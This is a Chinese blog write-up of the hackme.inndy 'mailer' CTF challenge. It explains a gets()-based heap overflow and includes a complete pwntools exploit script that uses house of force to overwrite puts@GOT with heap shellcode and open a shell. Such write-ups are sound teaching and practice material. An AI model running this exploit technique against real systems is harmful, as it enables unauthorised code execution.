本文最后更新于:星期三, 一月 2日 2019, 3:47 下午

防护机制

[*] '/home/zs0zrc/pwn/Scoreboard/mailer/mailer'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

程序逻辑很简单,只有两个功能 write mail 和dump

int service()
{
  unsigned int v0; // eax

  qmemcpy(&helloworld, &unk_8048AA0, 0x48u);
  root = &helloworld;
  memcpy(&helloworld + 72, "Hello, World", 0xCu);
  while ( 1 )
  {
    while ( 1 )
    {
      puts("0. Exit");
      puts("1. Write mail");
      puts("2. Dump mails");
      printf("Action: ");
      v0 = readint();
      if ( v0 != 1 )
        break;
      write_mail();
    }
    if ( v0 < 1 )
      break;
    if ( v0 == 2 )
      dump_mail();
    else
      puts("Invalid choice");
  }
  return puts("Bye");
}

漏洞在于writemail函数中用了两个 gets来读取数据,而mail的大小size存储在chunk中,dump是根据chunk中存储的mail大小来输出的。所以可以修改mail的大小,从而泄露出堆的地址。同时也可以溢出修改topchunk的size字段,所以这个很明显是用house_of_force来做。因为没开NX,所以可以往堆里写shellcode,然后利用house_of_force修改puts_got为shellcode的地址来getshell

char *write_mail()
{
  int size; // eax
  char *mail; // ST1C_4
  char *result; // eax

  printf("Content Length: ");
  size = readint();
  mail = new_mail(size);
  printf("Title: ");
  gets(mail + 4);
  printf("Content: ");
  gets(mail + 72);
  *mail = root;
  result = mail;
  root = mail;
  return result;
}

具体步骤:

new一个mail来存放shellcode,同时修改这个mail的size字段
再new一个mail,修改top_chunk的size字段为0xffffffff
利用dump函数泄露出heap地址
利用house_of_force修改puts_got为shellcode地址

exp:

#!/usr/bin/env python
from pwn import *
local = 0

if local:
    p = process('./mailer')
    elf = ELF('./mailer')
    libc = elf.libc
else:
    host = 'hackme.inndy.tw'
    port = '7721'
    p = remote(host,port)
    elf = ELF('./mailer')

context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-h']
context.log_level='debug'

def sd(content):
    p.send(content)

def sl(content):
    p.sendline(content)

def rc():
    return p.recv()

def ru(content):
    return p.recvuntil(content)

def mail(size,title,content):
    ru('Action: ')
    sl('1')
    ru('Length: ')
    sl(str(size))
    ru('Title: ')
    sl(title)
    ru('Content: ')
    sl(content)

shellcode = asm(shellcraft.sh())
target = 0x0804A030
payload = 'a'*12+ p32(0xffffffff)
mail(50,'a'*16*4 + p32(0x40),shellcode + '######')
mail(10,'aaaa',payload)
rc()

sl('2')
ru('######')
leak_heap = u32(p.recv(12)[6:10])
log.info(hex(leak_heap))

shellcode_add = leak_heap + 72
topchunk = leak_heap + 0xd0
evil_size = target - topchunk - 0x14 - 72
print evil_size

mail(evil_size,'aaaa','bbbb')
mail(30,p32(shellcode_add)*2,'dddd')

p.interactive()

hackme.inndy_writeup      writeup pwn

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!